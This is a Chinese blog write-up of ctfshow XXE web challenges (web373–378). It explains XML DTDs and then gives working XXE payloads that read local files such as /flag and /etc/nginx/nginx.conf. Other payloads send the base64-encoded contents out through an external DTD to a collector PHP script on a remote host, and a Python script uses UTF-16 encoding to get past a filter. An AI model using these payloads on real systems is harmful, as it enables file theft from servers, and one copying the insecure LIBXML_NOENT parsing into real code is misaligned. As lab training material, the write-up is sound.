【ctfshow】web篇-XXE wp

前言

记录web的题目wp,慢慢变强,铸剑。

XXE

做XXE题目之前我们先了解一下XXE实体注入的原理和利用方法

XML用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素

image-20210819141610681

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:元素、属性、实体、PCDATA、CDATA,由于网上太多介绍就不详细说了

DTD(文档类型定义)

DTD(document type defined)的作用是定义 XML 文档的合法构建模块。

DTD 可以在 XML 文档内声明,也可以外部引用。

而DTD的外部实体引用正是XXE漏洞诱因

首先写一个测试xml的文档的php代码

1
2
3
4
5
6
<?php
$test=$_POST['xml'];
$obj = simplexml_load_string($test,'SimpleXMLElement',LIBXML_NOENT);
print_r($obj);
highlight_file(__FILE__);
?>

1、内部声明

完整实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?xml version="1.0"?>
<!DOCTYPE note [
<!ELEMENT note (to,from,heading,body)>
<!ELEMENT to (#PCDATA)>
<!ELEMENT from (#PCDATA)>
<!ELEMENT heading (#PCDATA)>
<!ELEMENT body (#PCDATA)>
]>
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

将我们刚刚的php代码利用burp抓包post传入内部声明形式输出看看,注意:要url编码一下,不然&无法被解析而报错

如下内部声明输出结果

image-20210819142339515

2、外部声明

1
2
3
4
5
6
7
8
<?xml version="1.0"?>
<!DOCTYPE note SYSTEM "note.dtd">
<note>
<to>George</to>
<from>John</from>
<heading>Reminder</heading>
<body>Don't forget the meeting!</body>
</note>

image-20210819142549954

同样编码一下,正常输出

image-20210819142611233

由此,我们了解了基本的DTD内部和外部声明的使用

DTD实体

DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。

实体又分为一般实体和参数实体
1,一般实体的声明语法:
引用实体的方式:&实体名;
2,参数实体只能在DTD中使用,参数实体的声明格式:
引用实体的方式:%实体名;

1、内部实体声明:

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer "Bill Gates">
<!ENTITY copyright "Copyright W3School.com.cn">
]>

<test>&writer;&copyright;</test>

post传进去看看输出结果,同样正常输出

image-20210819142830986

2、外部实体声明

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY writer SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
<!ENTITY copyright SYSTEM "http://www.w3school.com.cn/dtd/entities.dtd">
]>
<author>&writer;&copyright;</author>

在了解了基础知识后,下面开始了解xml外部实体注入引发的问题。

XXE的攻击方法

方法一:直接通过DTD外部实体声明

1
2
3
4
5
<?xml version="1.0"?>
<!DOCTYPE xml [
<!ENTITY xxe SYSTEM "file:///C:/1.txt">
]>
<xxe>&xxe;</xxe>

发包访问我C盘目录中1.txt文件

image-20210819143850362

方法二:通过DTD文档引入外部DTD文档,再引入外部实体声明,由于普通的引入外部实体声明就不说了,直接说如果不回显怎么办

image-20210819144644467

当我们本地将php代码中的回显给关了,那我们怎么获取当前电脑的c:/1.txt文件呢?很简单,直接在公网域名上构造第一个php文件x.php

1
2
3
4
5
6
7
<?php
$content = $_GET['1'];
if(isset($content)){
file_put_contents('flag.txt','更新时间:'.date("Y-m-d H:i:s")."\n".$content);
}else{
echo 'no data input';
}

和第二个xxe.xml的外部实体文档

1
2
3
4
<!ENTITY % all
"<!ENTITY &#x25; send SYSTEM 'http://127.0.0.1/xml/x.php?1=%file;'"
>
%all;

image-20210819145202712

接着构造一个payload

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=c:/1.txt">
<!ENTITY % remote SYSTEM "http://127.0.0.1/xml/xxe.xml">
%remote;
%send;
]>

post传参发包,发现生成了一个flag.txt

image-20210819145349842

接着我们就得到1.txt的base64的形式,解码一下,就可以得到其中的内容

image-20210819145619095

支持的协议有哪些?

image-20210819145646289

具体的根据情况会产生的危害:

1、读取任意文件

2、执行系统命令(expect需要扩展支持)

3、探测内网端口(利用http访问)

4、攻击内网网站等

web373

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
$creds = simplexml_import_dom($dom);
$ctfshow = $creds->ctfshow;
echo $ctfshow;
}
highlight_file(__FILE__);
  • LIBXML_NOENT:替换实体
  • LIBXML_DTDLOAD:加载外部子集

有了上面的xxe知识,这题无过滤轻松

先找一下网站根目录,我都用外部实体注入做

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/nginx/nginx.conf">
<!ENTITY % remote SYSTEM "http://www.xxxx.com/html/xxe.xml">
%remote;
%send;
]>

image-20210819182448689

payload

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://www.xxx.com/html/xxe.xml">
%remote;
%send;
]>

image-20210819182643843

web374

1
2
3
4
5
6
7
8
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

这题是无回显,利用上题一样的方法

payload,抓包post发出去

1
2
3
4
5
6
7
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://www.hostname.com/html/xxe.xml">
%remote;
%send;
]>

image-20210819183906545

接着服务器拿flag

image-20210819183925136

web375

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

这题过滤了version的声明,但是发现删掉一样可以执行

payload

1
2
3
4
5
6
<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://www.xxx.com/html/xxe.xml">
%remote;
%send;
]>

web376

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

就是把头声明函数的大小写形式都禁了,继续上把payload

web377

1
2
3
4
5
6
7
8
9
10
11
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(preg_match('/<\?xml version="1\.0"|http/i', $xmlfile)){
die('error');
}
if(isset($xmlfile)){
$dom = new DOMDocument();
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
}
highlight_file(__FILE__);

过滤了http,这里利用utf-16编码绕过

payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
# # -- coding:UTF-8 --
# # Author:孤桜懶契
# # Date:2021/8/19
# # blog: gylq.gitee.io

import requests

url = 'http://cc69366f-f9e6-4a07-aac3-e4694d53b4e5.challenge.ctf.show:8080/'
payload = """<!DOCTYPE ANY[
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag">
<!ENTITY % remote SYSTEM "http://www.xxx.com/html/xxe.xml">
%remote;
%send;
]>"""

payload = payload.encode('utf-16')
res = requests.post(url ,data=payload)
print(res.text)

web378

一个登陆框,发现返回值是xml形式

image-20210819192138583

直接内部实体注入payload

1
2
3
4
5
6
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY file SYSTEM "file:///flag">
]>
<user><username>
&file;</username><password>&file;</password></user>

image-20210819192234216

本文标题:【ctfshow】web篇-XXE wp

文章作者:孤桜懶契

发布时间:2021年08月19日 - 18:06:49

最后更新:2022年05月20日 - 11:47:45

原始链接:https://gylq.gitee.io/posts/101.html

许可协议: 署名-非商业性使用-禁止演绎 4.0 国际 转载请保留原文链接及作者。

-------------------本文结束 感谢您的阅读-------------------